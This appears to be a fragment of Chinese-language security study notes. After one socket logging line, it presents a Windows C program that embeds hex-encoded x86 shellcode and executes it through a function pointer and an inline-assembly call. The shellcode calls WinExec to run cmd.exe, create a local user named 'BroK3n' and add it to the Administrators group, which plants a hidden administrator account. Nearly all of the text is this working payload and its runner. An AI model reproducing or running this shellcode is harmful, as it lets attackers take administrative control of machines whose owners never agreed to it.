socket

printf("客户机%s:%d成功接入\n",inet_ntoa(client.sin_addr),client.sin_port);

验证shellcode

include<windows.h>

unsigned char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";

int main()
{
//((void(*)(void))&shellcode)();//第一种方法
_asm
{
lea eax,shellcode //第二种方法
call eax
}
return 0;
}